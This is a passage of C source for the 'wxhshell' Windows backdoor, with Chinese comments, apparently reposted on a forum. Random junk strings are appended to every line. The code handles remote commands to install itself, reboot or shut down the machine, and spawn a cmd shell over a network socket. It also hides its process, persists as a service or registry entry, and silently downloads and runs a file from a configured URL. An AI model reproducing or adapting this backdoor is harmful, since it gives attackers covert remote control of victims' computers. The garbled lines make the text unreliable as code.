  case '?': { )@] W=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PnL?zae  
    break; w2jB6NQX  
  } zy.v[Y1!  
  // 安装 .-[]po  
  case 'i': { eR/X9<  
    if(Install()) ,b?G]WQrHs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :a:m>S<~  
    else +n)bWB%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rB|4  
    break; a&dP@)  
    } ymT]ow6C  
  // 卸载 }=.C~f]A  
  case 'r': { c{39,oF  
    if(Uninstall()) ]7RK/Zu i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2vddx<&  
    else dj}P|v/;z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Y"t$Iw"  
    break; `6LV XDR  
    } G^SDB!/@J  
  // 显示 wxhshell 所在路径 NE3/>5  
  case 'p': { '#~Sb8   
    char svExeFile[MAX_PATH]; AgB$ w4  
    strcpy(svExeFile,"\n\r"); <y"lL>JR  
      strcat(svExeFile,ExeFile); - s2Yhf  
        send(wsh,svExeFile,strlen(svExeFile),0); Q5IN1 ^=HF  
    break; QUF1_Sa  
    } &4)PW\ioY  
  // 重启 0UGAc]!/RZ  
  case 'b': { 238z'I+$G/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VTi; y{  
    if(Boot(REBOOT)) m`b:#z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ie7TO{W  
    else { /b6j<]H  
    closesocket(wsh); PWfd<Yf!  
    ExitThread(0); BZjL\{IW  
    } W 9bpKmc  
    break; w(ic$  
    } w;J#+ik  
  // 关机 yA`,ns&n  
  case 'd': { :K(+ KN(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f917F.1 I  
    if(Boot(SHUTDOWN)) k9c`[M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z'm( M[2K  
    else { |>-0q~  
    closesocket(wsh); }/g1  
    ExitThread(0); v[a4d&P  
    } ZB5NTNf>  
    break; u!b0 <E  
    } 3ZvQUH/{W  
  // 获取shell h(^[WSa  
  case 's': { maV*+!\  
    CmdShell(wsh); a`Q-5* \;z  
    closesocket(wsh); SL_JA  
    ExitThread(0); eO{2rV45O  
    break; Wck WX]};S  
  } pwF])uf*{\  
  // 退出 zCu+Oi6  
  case 'x': { eEeK ] 8@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gV'=u z v  
    CloseIt(wsh); 7'@~TM  
    break; %*Yb J_j7  
    } ~$7YEs)  
  // 离开 18y'#<X!  
  case 'q': { P{,=a]x,mz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W=,]#Z+M;  
    closesocket(wsh); 'ztY>KVj  
    WSACleanup(); yPH5/5;,  
    exit(1); }q?q)cG  
    break; !{ORFd  
        } Ihl]"76q/  
  } 4=|oOIhgb  
  } yWi?2   
$tK/3  
  // 提示信息 |]?7r?=J9v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xDmwiVy  
} )=0@4   
  } VxU{ZD~<Z"  
kQrby\F(<  
  return; cOP%R_ak?  
} i^rHZmT  
`<% w4 E  
// shell模块句柄 mrlhj8W?!  
int CmdShell(SOCKET sock) tpP68)<ns  
{ 0rc'SEl  
STARTUPINFO si; jfZ)  
ZeroMemory(&si,sizeof(si)); t<+gyAW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -?ebkHe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @~IZ%lEQsD  
PROCESS_INFORMATION ProcessInfo;  f^[m~  
char cmdline[]="cmd"; {65_k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YO;@Tj2)x  
  return 0; Qr~yHFc1y  
} ^K^rl 9  
A.<M*[{q  
// 自身启动模式 \K:?#07Wj4  
int StartFromService(void) "}uV=y  
{ Ul|htB<1:  
typedef struct YRj"]= 5N  
{ Wix4se1Ac  
  DWORD ExitStatus; =8 DS~J{  
  DWORD PebBaseAddress; Oq 95zo  
  DWORD AffinityMask; +^%0/0e  
  DWORD BasePriority; XZ|\|(6Cc  
  ULONG UniqueProcessId; {.r9l  
  ULONG InheritedFromUniqueProcessId; \Pd>$Q  
}   PROCESS_BASIC_INFORMATION; 7#9fcfL  
~8[`(/hj  
PROCNTQSIP NtQueryInformationProcess; }`uq:y  
@DyMq3Gt?&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g<i>252>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .kDJuJ^  
qnw8#!%I  
  HANDLE             hProcess; YKa9]Q  
  PROCESS_BASIC_INFORMATION pbi; 4o( Q+6m  
p$6L_ *$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &"X1w $  
  if(NULL == hInst ) return 0; ES[]A&tf  
B)Dsen  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uHyc7^X>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6H|&HV(!R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !GoHCe[10  
CrX1qyR  
  if (!NtQueryInformationProcess) return 0; \}7xgQ>oV  
4aG}ex-s|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w-``kID  
  if(!hProcess) return 0; RIF*9=,S  
L>,xG.oG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DXfQy6k'  
wPpern05  
  CloseHandle(hProcess); N!13QI H  
p[D,.0SuC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l/bZE.GJ  
if(hProcess==NULL) return 0; m>'#664q1  
8*(|uX  
HMODULE hMod; 5+*CBG}  
char procName[255]; )'`@rq!  
unsigned long cbNeeded; FX/f0C3CK  
#vT~D>zj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R"e533  
;vgaFc]  
  CloseHandle(hProcess); Njs'v;-K  
*0%G`Q  
if(strstr(procName,"services")) return 1; // 以服务启动 nsi&r  
X1%_a.=VF  
  return 0; // 注册表启动 eo4v[V&  
} p 4lB#  
`AhTER  
// 主模块 AJt4I W@  
int StartWxhshell(LPSTR lpCmdLine) iKgH :[j  
{ E^V4O l<  
  SOCKET wsl; NKRH>2,  
BOOL val=TRUE; Y!_e ,]GW  
  int port=0; ~@K!>j  
  struct sockaddr_in door; 7 9ZYRm2;  
 lmB+S  
  if(wscfg.ws_autoins) Install(); U p: M[S  
3F9AnS  
port=atoi(lpCmdLine); !ziO1U  
9 H~OC8R:  
if(port<=0) port=wscfg.ws_port; 6?3\P>`3Y  
?rgtbiSW-  
  WSADATA data; (e[8`C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6"jV>CNc@  
AM4 :xz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :Pi="  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IsB=G-s  
  door.sin_family = AF_INET; );ZxKGjc4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CrEC@5 j  
  door.sin_port = htons(port); K=;oZYNd  
9AZpvQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oF(|NS^  
closesocket(wsl); UN`O*(k[  
return 1; rs:a^W5t  
} SR { KL#NC  
Bl v @u?  
  if(listen(wsl,2) == INVALID_SOCKET) { -<aN$O  
closesocket(wsl); DsGtc<l%  
return 1; -Deqlaf(  
} 7cZ(gdQ/  
  Wxhshell(wsl); 9K_p4 mq  
  WSACleanup(); X h"8uJD  
WB=|Ty ~l  
return 0; .V|o-~c  
J, vEZT<Mt  
} 6?KJ"Ai9  
B}Sl1)E  
// 以NT服务方式启动 VY'1 $  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z<n&P7k5j  
{ "TePO7^m  
DWORD   status = 0; SFa~j)9'n  
  DWORD   specificError = 0xfffffff; kV+O|9  
PkxhR;4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r WPoR/M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x<[W9Z'~?9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y%)@)$sK  
  serviceStatus.dwWin32ExitCode     = 0; [V.#w|n  
  serviceStatus.dwServiceSpecificExitCode = 0; )nA fT0()0  
  serviceStatus.dwCheckPoint       = 0; Ct30EZ  
  serviceStatus.dwWaitHint       = 0; h$q=NTV  
$qh?$a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "A,-/~cBV  
  if (hServiceStatusHandle==0) return; F<A[S "  
c~iAjq+c  
status = GetLastError(); +umVl  
  if (status!=NO_ERROR) 63y&MaqSJ  
{ @j?)uJ0Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,.&y-?  
    serviceStatus.dwCheckPoint       = 0; jsnk*>j  
    serviceStatus.dwWaitHint       = 0; ayoqitXD?  
    serviceStatus.dwWin32ExitCode     = status; 84u %_4/  
    serviceStatus.dwServiceSpecificExitCode = specificError; P+[\9Gg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K,L  
    return; (uskVK>L  
  } @If ^5s;z  
Y+UM>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eU.HS78  
  serviceStatus.dwCheckPoint       = 0;  oN7JNMT  
  serviceStatus.dwWaitHint       = 0; y(0";\V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IJV1=/ NJW  
} '"14(BvW  
lq\/E`fc`  
// 处理NT服务事件,比如:启动、停止 b)Dzau  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &Ew{{t;"  
{ D\i8WU  
switch(fdwControl) ~V<imF  
{ Id;YIycXe  
case SERVICE_CONTROL_STOP: l|p \8=  
  serviceStatus.dwWin32ExitCode = 0; ?:XbZ"25pJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "OO"Ab{t  
  serviceStatus.dwCheckPoint   = 0; l9Sx'<  
  serviceStatus.dwWaitHint     = 0; $M 1/74  
  { T`.RP&2/d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); or{X{_X7  
  } %>Y86>mVz  
  return; ]S#m o  
case SERVICE_CONTROL_PAUSE: h#!u"'JW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y]gb`z$?  
  break; j=~c( B  
case SERVICE_CONTROL_CONTINUE: 3G)Wmmh"a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (R)(%I1Oz  
  break; *Af:^>mh  
case SERVICE_CONTROL_INTERROGATE: [exIK  
  break; TwZASn]o  
}; Z:(yX0U,[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m}dO\;  
} !R.*Vn[  
V"{+cPBO)  
// 标准应用程序主函数 uNSbAw3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dJ}E,rW}  
{ $Q cr  
 B1!b@0^  
// 获取操作系统版本 0kdPr:B Q0  
OsIsNt=GetOsVer(); N ?mTAF'M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o<r|YRzQl  
kxp, ZP  
  // 从命令行安装 W{!GL  
  if(strpbrk(lpCmdLine,"iI")) Install(); Eax^1 |6  
ni$S@0  
  // 下载执行文件 _H+|Ic  
if(wscfg.ws_downexe) { 5VG[FY6Pl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #A '|O\RGP  
  WinExec(wscfg.ws_filenam,SW_HIDE); U ,wJ8  
} s]z-d!G  
SsE8;IGH  
if(!OsIsNt) { 39(]UO6^;  
// 如果时win9x,隐藏进程并且设置为注册表启动 "\9!9U#!  
HideProc(); d!i#@XZ^  
StartWxhshell(lpCmdLine); -0/5 !  
} }t^N|I  
else k[p7)ec  
  if(StartFromService()) 5 UQbd8  
  // 以服务方式启动 NY`$D}Bi  
  StartServiceCtrlDispatcher(DispatchTable); ,>rr|O  
else Rr|&~%#z  
  // 普通方式启动 {:;599l  
  StartWxhshell(lpCmdLine); *$I5_A8,.  
;Xw'WMb*=  
return 0; "+6:vhP5  
}
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只看该作者 1 发表于: 2006-10-10
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